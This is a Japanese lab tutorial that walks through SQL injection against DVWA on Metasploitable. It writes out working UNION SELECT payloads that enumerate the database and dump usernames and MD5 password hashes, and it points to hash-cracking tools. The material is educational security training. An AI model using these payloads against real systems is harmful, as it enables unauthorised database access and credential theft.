
ゆるいぞIT
今回は攻撃手法の一つであるSQLインジェクションを試して、攻撃を受けた場合の影響などを確認してみたいと思います。
※Youtubeでは動画版をご視聴いただけます。
- ハッキングスキルについて知りたい
- セキュリティの知識を学習したい
- ITインフラの知識を学習したい
※実務や演習等を除き、インターネット上のサーバへクラッキングすることは違法行為となりますのでご注意ください。
0.使用する環境

ゆるいぞIT
ターゲットホストにインストールされている”DVWA”というツールを使用します。
ソフトウェア
- 仮想環境 : Virtual Box
- 攻撃用サーバ : Kali Linux
- ターゲットホスト : Metasploitable(DVWA)
演習環境

1.SQLとは?

ゆるいぞIT
SQLとはデータベース管理システム(DBMS)内のデータを呼び出したり、追加・削除・更新をする為のDB操作用の言語になります。
DBというのは”データベース”や”DBサーバ”などと呼ばれたりするものになりますが、例えば、ショッピングサイトなら「商品情報を管理する為のDB」、銀行なら「顧客情報を管理する為のDB」といった感じで大量の情報を管理するのに適しているツールになっています。
一般的には「Webサーバ → DBサーバに連携」して、指定された情報を「DBサーバ → Webサーバに返答」するといった使い方をします。
※厳密にはアプリケーション等の別な要因も絡んできますが説明が複雑になるのでここでは割愛します。

2.SQL文について
下記はよく用いられるSQL文の代表例になります。
- SELECT : データの読取(指定したテーブルからカラム名のデータを読み取る)
- INSERT : データの追加(指定したテーブルにデータを追加する)
- UPDATE : データの更新(指定したテーブルの指定したカラムを指定したフィールド値に更新する)
- DELETE : データの削除(指定したテーブルから条件式が真となるレコードを削除する)
例えば、特定のユーザアカウントを”SELECT文”で読み込む場合は以下のような構文になります。
SELECT * FROM users WHERE id = 1(‘ID欄の入力値‘) AND pw = 1(‘パスワード欄の入力値‘)
この”SELECT文”に対して返ってくる情報は以下のようになります。
SELECT * FROM users WHERE id = ‘ユーザID‘ AND pw = ‘パスワード‘;
初見だと難しいイメージがありますが、構文自体は決まったものになりますので、操作したい情報をべーズに構文のポイントさえ押さえておけば対応できるかと思います。
3.SQLインジェクションとは?
SQLインジェクションとは先ほど説明したSQL文を使用した攻撃のことになります。
ターゲットに対して想定外のSQL文(命令文)を実行することでDBを混乱させてDB内の情報を抜き出す攻撃手法になります。

4.SQLインジェクションの実行

ゆるいぞIT
SQLインジェクションの動作を確認するにあたって”DVWA”というツールを使用します。
はじめにDVWAのセキュリティレベルを設定します。
セキュリティには high(高)、midium(中)、low(低)とありますが今回はlowで実施してみます。
lowになるにつれてセキュリティが弱くなっていきます。

セキュリティレベルlowの演習内容を確認します。
「SQL Injection」のメニューを選択します。
右下の”View Help”を確認すると演習の問題内容が表示されます。

The ‘id’ variable within this PHP script is vulnerable to SQL injection.
There are 5 users in the database, with id’s from 1 to 5. Your mission… to steal passwords!
この PHP スクリプト内の”id”変数はSQLインジェクションに対して脆弱です。
データベースには5人のユーザーがおり、IDは1~5までです。
あなたの使命は… パスワードを盗むことです!
まずは設問にあるID1~5のユーザ名を確認してみましょう。
入力欄に1~5の数字を入力すると、IDに紐づくユーザ名が返ってきます。


今度は「1′ or ‘a’=’a」と入力してみます。

そうするとID1~5のユーザ名が全て返ってきます。

これはSQLの脆弱性をついたもので「’a’=’a」と指定することで無条件で命令文が成立する状態になってしまっていることで発生する事象になります。
セキュリティレベルをhighに変更してから、同様に実行してみるとユーザ名は表示されなくなります。
セキュリティレベルを上げたことでlowであった脆弱性が修正されたことで「’a’=’a」という命令文が無効になったことを表しています。

まずはターゲットとするDBの情報を集めてみましょう。
‘ union select version(), null #
ID: ‘ union select version(), null #
First name: 5.0.51a-3ubuntu5 ※DBのバージョン
Surname:
‘ union select @@hostname,database() #
ID: ‘ union select @@hostname,database() #
First name: metasploitable ※ホスト名
Surname: dvwa ※DB名
‘ union select user(),’hoge’ #
ID: ‘ union select user(),’hoge’ #
First name: root@localhost ※ユーザ名
Surname: hoge
‘ union select table_name, null from information_schema.tables where table_schema = ‘dvwa’#
ID: ‘ union select table_name, null from information_schema.tables where table_schema = ‘dvwa’#
First name: guestbook ※テーブル名
Surname:
ID: ‘ union select table_name, null from information_schema.tables where table_schema = ‘dvwa’#
First name: users ※テーブル名
Surname:
‘ union select table_name,column_name from information_schema.columns where table_schema = ‘dvwa’#
ID: ‘ union select table_name,column_name from information_schema.columns where table_schema = ‘dvwa’#
First name: users
Surname: password ※usersテーブルにpasswordのカラムがあることを確認
passwordカラムの存在を確認できたのでカラム全体の情報を取得します。
‘ union select user, password from dvwa.users #
ID: ‘ union select user, password from dvwa.users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99 ※ID1のパスワード
ID: ‘ union select user, password from dvwa.users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03 ※ID2のパスワード
ID: ‘ union select user, password from dvwa.users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b ※ID3のパスワード
ID: ‘ union select user, password from dvwa.users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7 ※ID4のパスワード
ID: ‘ union select user, password from dvwa.users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99 ※ID5のパスワード
ID1~5のパスワードを取得することができました。
5.パスワードの解析

ゆるいぞIT
取得したパスワードがMD5で暗号されているので解読するために解析しましょう。
※MD5自体は古い暗号化方法なので現在使っているシステムはほとんどないと思います…
パスワードの解析にKali Linuxで使用できるツールを使ってもいいですが、MD5程度ならフリーのWebサイトがあるので今回はそちらを使って実施します。

オフライン環境で実施するのであれば「John The Ripper」や「hashcat」などのワードリストを使用したクラッキングツールがあるので、そちらを使用しても問題ありません。
6.最後に
今回実施した内容がSQLインジェクションの一連の流れになります。
基本的にはSQLの”設定不備”や”脆弱性”をついた攻撃になりますので、設定の最新化や最新のバージョンに保っているシステムであれば攻撃が通る可能性は低いかと思います。
ということで、今回はここまでにしたいと思います。
それではまた次回お会いしましょう!